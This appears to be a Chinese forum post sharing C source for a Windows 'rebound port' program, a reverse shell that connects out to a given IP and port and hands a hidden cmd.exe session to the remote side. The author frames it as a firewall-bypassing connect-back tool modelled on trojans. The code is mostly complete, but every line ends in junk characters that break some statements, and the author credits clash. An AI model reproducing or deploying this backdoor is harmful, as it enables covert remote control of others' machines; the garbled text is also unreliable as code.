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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |\N))K-2D  
M! uE#|  
/* ============================== R!2E`^{Wl  
Rebound port in Windows NT vpoJ{TPO  
By wind,2006/7 14yzGhA  
===============================*/ {$'oKJy*  
#include dyt.( 2  
#include )pw53,7>aN  
uwu`ms7z 2  
#pragma comment(lib,"wsock32.lib") !$#8Z".{v{  
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void OutputShell(); Z + )<FX  
SOCKET sClient; ]Mj N)%hT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #./8inbG  
]?s^{  
void main(int argc,char **argv) TchByN6oN<  
{ ,ZvlK N  
WSADATA stWsaData; Zi.w+V  
int nRet; }kMKA.O"  
SOCKADDR_IN stSaiClient,stSaiServer; BHDd^bd  
}XfRKGQw  
if(argc != 3) 9KMtPBZ  
{ ._(5; PB"  
printf("Useage:\n\rRebound DestIP DestPort\n"); :CG;:( |  
return; 9C|-|mo  
} i"#zb&~nF  
> 7 qZ\#  
WSAStartup(MAKEWORD(2,2),&stWsaData); L4{+@T1A[  
zI'c'X1,  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c6LPqPcN  
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stSaiClient.sin_family = AF_INET; PB!*&T'!  
stSaiClient.sin_port = htons(0); #w;%{C[D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?]0bR]}y  
^']*UD;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p0C|ECH  
{ \0z<@)r+AJ  
printf("Bind Socket Failed!\n"); ~4M?[E&  
return; )<_:%oB  
} >C/O >g  
:jGgX>GG  
stSaiServer.sin_family = AF_INET; !6eF8T  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P;ovPyoO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >{#QS"J#  
8C<%Y7)/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M$2lK^2L  
{ h F *c  
printf("Connect Error!"); n hGh5,  
return; 90!67Ap`x  
} dA$qzQ  
OutputShell(); Hw~?%g:<S  
} "K#zY~>L  
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void OutputShell() AP(%m';  
{ _hi8m o  
char szBuff[1024]; nfS.0\z  
SECURITY_ATTRIBUTES stSecurityAttributes; a<&GsDw  
OSVERSIONINFO stOsversionInfo; DQ= /Jr~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $J]o\~Z J  
STARTUPINFO stStartupInfo; Og(|bs!6  
char *szShell; 8Xz \,}$O  
PROCESS_INFORMATION stProcessInformation; =yLJGNK[  
unsigned long lBytesRead; fk(h*L|sI  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /xkF9   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a fUOIM  
stSecurityAttributes.lpSecurityDescriptor = 0; =X=m_\=~@  
stSecurityAttributes.bInheritHandle = TRUE; h|[oQ8)  
3/4r\%1b+  
<CGJ:% AY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3zo:)N \K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7oZtbBs]M  
+%LR1+/%b  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l&uBEYx   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~3qt<"  
stStartupInfo.wShowWindow = SW_HIDE; n{xL1A=9  
stStartupInfo.hStdInput = hReadPipe; ZUaqv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @JpkG%eK  
f}VIkx]X"  
GetVersionEx(&stOsversionInfo); .@3bz  
++Fk8R/$U[  
switch(stOsversionInfo.dwPlatformId) x^/453Lk  
{ aui3Mq#f  
case 1: #iP5@:!Wm~  
szShell = "command.com"; OQh4 MN#$  
break;  4,?ZNyl  
default: K1m'20U  
szShell = "cmd.exe"; UGK,+FN  
break; |TCg`ZS`cZ  
} Q i\"b  
uui3jZ:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); = K3NKPUI  
~?uch8H  
send(sClient,szMsg,77,0); peGh-  
while(1) tqicyNL  
{  R]"3^k*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &KVXU0F^z  
if(lBytesRead) 0p1~!X=I  
{ 5FwVR3,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L3y`*&e>  
send(sClient,szBuff,lBytesRead,0); i=X B0-  
} A!^gF~5  
else s.XLC43Rs  
{ @V qI+5TA  
lBytesRead=recv(sClient,szBuff,1024,0); _q3|Ddm2LN  
if(lBytesRead<=0) break; .|<+-Rsj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~oE@y6Q  
} t BKra  
} OmAa$L,'w  
lbiMB~rwI  
return; ]j57Gk%z  
}
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